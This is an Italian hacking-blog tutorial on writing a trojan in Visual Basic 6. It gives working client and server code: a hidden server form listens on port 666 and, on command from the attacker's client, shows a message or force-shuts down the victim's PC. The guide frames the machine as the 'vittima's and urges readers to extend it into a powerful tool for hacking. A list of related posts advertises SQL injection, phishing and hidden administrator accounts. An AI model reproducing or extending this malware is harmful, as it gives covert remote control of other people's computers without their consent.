Guida alla creazione di un trojan in VB 6

Come ormai sappiamo un trojan è formato da due eseguibili, un client e un server.
Il server è eseguito sul pc della vittima, e invece il client è il programma che impartisce gli ordini al server.
Dopo questa piccola premessa partiamo con la creazione di un primo trojan.

Inizieremo con la creazione del client!

Per prima cosa creiamo un form con un winsock.
Andiamo ora a impostare la proprietà remoteport del nostro winsock e mettiamo come valore la porta sulla quale c’è in ascolto il server.

Noi faremo lavorare il nostro server sulla porta “666″, impostiamo poi la stessa porta anche alla proprietà
localport.
Mettiamo ora nella nostra form anche un textbox nel quale si inserirà l’ip della vittima e un commandbutton con il quale ci connetteremo
al server.
Ora nell’evento click del command inseriremi il seguente codice:

winsock1.remotehost = text1.text
winsock1.connect

ora che abbiamo fatto la connessione andiamo a vederecome impartire ordini al server:
Nel nostro daremo al nostro trojan solo due funzioni, una che farà comparire un messaggio alla vittima e l’altra
che gli spegnerà il pc, comunque seguendo lo stesso procedimento potremmo creare infinite funioni.
Andiamo a creare 2 command nella nostra form, il primo lo chioameremo cmd messaggio, e il secondo cmdspegni.
Se non lo sapete, il comando per far inviare qualcosa al winsock si chiama sendData, quindi nel primo command faremo:

winsock1.sendData “messaggio”

e nel secondo faremo:

winsock.sendDAta “spegni”

Andiamo ora a creare il nostro server:
Apriamo un nuovo progetto e creiamo un form, inseriamoci un winsock e ricordiamoci di impostare la proprietà visible del nostro
form a “false” in modo che il form sia invisibile, poi impostiamo le proprietà localport e remoteport del winsock su 666.
A questo punto nella sub form_load mettiamo in ascolto il winsock sulla propria porta in attesa di connessioni:

winsock1.listen

Ora andremo a programmare la sub Winsock1_ConnectionRequest che è la sub che viene eseguita quando il winsock riceve una richiesta di connessione:

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

La nostra sub controlla una precedente connessione aperta e la chiude e poi accetta quella del client.
Per gestire i dati ricevuti dal client faremo un altra sub:  Winsock1_DataArrival.
in questa sub dovremmo controllare cosa ci chiedono di fare i comandi ricevuti ed eseguirli, quindi facciamo:

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dati As String
Winsock1.GetData dati

Select Case dati
Case “messaggio”
msgbox “Ciao utente!!!”
Case “spegni”
Shell (“shutdown -s -f -t 01″)
End Select
End Sub

Questa sub mette i dati ricevuti nella variabile “dati” e poi se il contenuto della variabile dati è uguale a messaggio fa comparire un msgbox con
“scritto Ciao utente!!!” e se è uguale a spegni fa spegnere il pc della vittima.

Durante la connessione tra client e server potrebbero esserci degli errori, in questo caso ci viene in contro la sub Winsock1_Error,
nella quale in caso di errore faremo chiudere la connessione e rimetteremo in ascolto il nostro winsock

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.Listen
End Sub

Questo che abbiamo creato è solo la base di un trojan, ma è comunque funzionante e permette di capire il funzionamento del client e del server, ora tocca  a voi continuare il nostro trojan e renderlo con la nostra fantasia un trojan molto potente da utilizzare nel nostro “lavoro” di hacker

------------------------------ Post Correlati: -------------------------------

1. Guida SQL Injection Cos’è la SQL Injection? La SQL injection è una tecnica di hacking , si tratta di un exploit che sfrutta lo scarso controllo dei dati ricevuti in...
2. Tabnabbing – Il nuovo tipo di attacco Phishing Il Tabnabbing è un nuovo metodo di Phishing che si sta diffondendo su internet, per ora non molti la utilizzano ma in futuro potrebbe diventare...
3. Apple – Molti nuovi Trojan in arrivo per Mac OS? BlackHole RAT (RAT= Remore Access Trojan) è un trojan scoperto dall’ azienda Sophos che sviluppa hardware e software per la sicurezza di Mac OS. Fino...
4. National Geographic – Documentario Hacker Ecco un documentario direttamente da Youtube creato da National Geographic sul fantastico mondo dell’ hacker, suddiviso in 5 parti ,parla delle abitudini, gli stili di...
5. La storia di Kevin Mitnick – Il più grande Hacker della storia! Guida Hacking La storia infinita di Kevin David Mitnick, l’hacker più famoso del mondo, sotto processo negli Stati Uniti. E’ in carcere da quattro anni...
6. Come un Hacker effettua un attacco ad una macchina? Oggi vi faremno vedere come di solito un hacker compie un attacco ad una macchina. BUONA LETTURA!… Premesso che diversi sono i tipi di hacker...
7. La pirateria informatica è diminuita! Ormai quando si parla di PC si entra sempre nell’ argomento della pirateria informatica. Scaricare illegalmente, file MP3, programmi con crack e altro sono le cose preferite...
8. Oltre 220 Video sull' Hacking Oggi per voi una grande raccolta di video sull’ hacking e le sue varie tecniche, per vostra sfortuna non c’è nessun video italiano ma se...
9. Creare un Account Amministratore nascosto su Windows XP In questa guida impareremo a: 1.Creare account via CMD 2.Dargli i privileggi di amministratore 3.Renderlo invisibile. INIZIAMO! Creiamo un nuovo account dal CMD digitando il...
10. Google Chrome, L'unico indenne da attacchi Hacker Si è conclusa la conferenza dedicata alla sicurezza CanSecWest in cui sviluppatori si potevano sfidarsi per violare computer di ogni tipo sfruttando vulnerabilità ancora sconosciute...

3 Commenti a “Creare un Trojan in VB 6”